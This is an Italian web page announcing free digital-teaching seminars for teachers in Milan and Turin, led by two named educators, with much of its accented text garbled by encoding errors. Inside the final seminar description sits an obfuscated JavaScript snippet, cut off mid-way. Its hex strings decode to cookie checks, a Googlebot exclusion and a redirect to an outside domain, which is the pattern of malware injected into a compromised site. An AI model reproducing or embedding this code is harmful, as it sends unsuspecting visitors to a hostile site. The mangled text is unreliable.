CI SIAMO TRASFERITI!
Cari amici di classi 20, da fine gennaio 2018, ci trasferiamo sul sito abc.it.
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Siete curiosi di scoprire il nuovo portale dedicato alla didattica digitale?
Seguiteci su abc.it progetto EduCare (powered by REKORDATA) a breve pubblicheremo i nuovi aggiornamenti dedicati al mondo education.
Stay Tuned!

Attenti a quei due! Cesare e Alberto nei seminari per insegnanti a Milano e Torino.

Redazione

Indispensabili per tutti gli insegnanti e gli “animatori digitali”. Febbraio – Maggio. Seminari gratuiti a numero chiuso, per insegnanti. 16,30 – 18,30 a Milano e 16Ai??- 18 a Torino. Qui Milano! Da ai???Teniamoci per Mouseai??? i ai???Pomeriggi Informaticiai???.Ai??Qui Torino. Dal C2C i Challenge To Change Seminar.


ISCRIZIONI: moduli di iscrizione (in corso)


Qui Milano!
Da ai???Teniamoci per Mouseai??? i ai???Pomeriggi Informaticiai???.

  • Seminari a numero chiuso. Per iscriversi A? necessario garantire la partecipazione ad almeno 3 appuntamenti.Ai??
  • Tutti iAi??seminari si svolgono presso REKORDATA, Viale Achille Papa 30, Milano,Ai??dalle ore 16,30 alle ore 18,30
  • Per informazioni: info@rekordata.it

GiovedAi?? 18 febbraio.Ai??Trovare per elaborare: caccia al tesoro digitale. Cesare Benedetti, Apple Distinguished Educator

Trovare informazioni A? il primo passo per lo sviluppo della didattica digitale.
Il Web ci fornisce uno sterminato serbatoio di dati, ma crea anche difficoltAi?? per le metodologie di ricerca e per la validazione dei dati.Ai??Inoltre occorre insegnare ai nostri studenti dove cercare e come cercare, per evitare errori e perdite di tempo.Ai??Una “caccia al tesoro” fra Web e App puA? aiutarci a provare percorsi da proporre in classe, fornendo strumenti per stimolare la curiositAi?? e la partecipazione.

MartedAi??ai??i?? 23 febbraio.Ai??CreativitAi?? e bellezza nellai??i??insegnamento. Alberto Pian, Apple Distinguished Educator

La creativitAi?? A? una funzione determinante per un apprendimento attivo, non passivo e stimolante. Ma come facciamo ad aiutare gli studenti a stimolare la propria creativitAi?? nellai??i??apprendimento? Quelli applicazioni possiamo usare? In che modo? PerchAi?? le tecniche di App Smashing sono il cuore delle attivitAi?? creative?

GiovedAi?? 10 marzo.Ai??La scuola sulla nuvola: lavorare con i link. Cesare Benedetti, Apple Distinguished Educator

Lo sviluppo delle piattaforme 2.0 ha decisamente cambiato le modalitAi?? di condivisione di un lavoro multimediale. Ormai non serve piA? perdere tempo per il passaggio di pesanti documenti fra diversi dispositivi: basta utilizzare in modo consapevole le possibilitAi?? offerte dalla rete e affidarsi a un link per la condivisione.Ai??Veloce e immateriale… basta avere le idee chiare sul risultato che vogliamo ottenere, affidandosi a siti e App di semplice utilizzo, che hanno giAi?? previsto le nostre esigenze di comunicazione e condivisione.

MartedAi?? 19 aprile.Ai??I meccanismi dello storytelling. Come creare storie di successo. Alberto Pian, Apple Distinguished Educator

Lai??i??abbiamo sempre chiamata ai???narrazioneai???, una funzione che nella scuola tradizionale, impostata su test, verifiche, quiz, interrogazioni, A? stata esclusa dallai??i??apprendimento. J. Bruner se ne A? preoccupato fin dagli anni novanta e ora, con il nome di ai???Storytellingai??? A? diventato uno strumento eccezionale per stimolare lai??i??apprendimento. Vediamo insieme come si crea una storia di successo, quali applicazioni impiegare, come strutturare i meccanismi di una narrazione efficace.

GiovedAi?? 12 Maggio.Ai??Il quadrato magico: QR code con fantasia. Cesare Benedetti, Apple Distinguished Educator

Lavorare a scuola con dispositivi mobili impone di sfruttare appieno le possibilitAi?? di condivisione offerte alla rete. Fra le molte possibilitAi?? i QR Code sono poco utilizzati e non sono ancora percepiti come uno strumento didattico.Ai??La facilitAi?? nel loro uso li rendo molto efficaci per la comunicazione di prossimitAi??, garantendo anche vantaggi per l’inclusione di alunni con difficoltAi??. Ai??Dobbiamo anche considerare la funzione “filtro” fra mondo reale e virtuale, che permette di creare attivitAi?? che inseriscono il digitale in pratiche manuali adatte anche ad alunni di scuola primaria.

Qui Torino!
Dal C2C i Challenge To Change Seminar

  • Seminari aAi??numero chiuso. Per iscriversi A? necessario garantire la partecipazione ad almeno 2 appuntamenti.
  • Tutti iAi??seminari si svolgono presso REKORDATA, ViaAi??Fratelli Bandiera 3/a, Torino,Ai??dalle ore 16 alle ore 18
  • Per informazioni: Ai??info@rekordata.itAi??

LunedAi??ai??i?? 22 febbraio.Ai??I meccanismi dello storytelling. Come creare storie di successo. Alberto Pian, Apple Distinguished Educator

Lai??i??abbiamo sempre chiamata ai???narrazioneai???, una funzione che nella scuola tradizionale, impostata su test, verifiche, quiz, interrogazioni, A? stata esclusa dallai??i??apprendimento. J. Bruner se ne A? preoccupato fin dagli anni novanta e ora, con il nome di ai???Storytellingai??? A? diventato uno strumento eccezionale per stimolare lai??i??apprendimento. Vediamo insieme come si crea una storia di successo, quali applicazioni impiegare, come strutturare i meccanismi di una narrazione efficace.

LunedAi?? 21 marzo.Ai??CreativitAi?? e bellezza nellai??i??insegnamento. Alberto Pian, Apple Distinguished Educator

La creativitAi?? A? una funzione determinante per un apprendimento attivo, non passivo e stimolante. Ma come facciamo ad aiutare gli studenti a stimolare la propria creativitAi?? nellai??i??apprendimento? Quelli applicazioni possiamo usare? In che modo? PerchAi?? le tecniche di App Smashing sono il cuore delle attivitAi?? creative?

LunedAi?? 18 aprile.Ai??Coding, sensori, robot, droni, labdisc microscopiai??i?? Il FabLab a scuola. Alberto Pian. Cesare Benedetti, Apple Distinguished Educator

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Lai??i??iPad A? diventato un hub che si connette a ogni cosa ci circonda, recupera dati e informazioni e li trasmette ai dispotici degli studenti, si collega a strumenti e sensori, robot e droni. Quali attivitAi?? possiamo fare con questi strumenti? In che modo possiamo applicare il coding, creare giochi e workflow per stimolare lai??i??apprendimento con i nostri studenti?var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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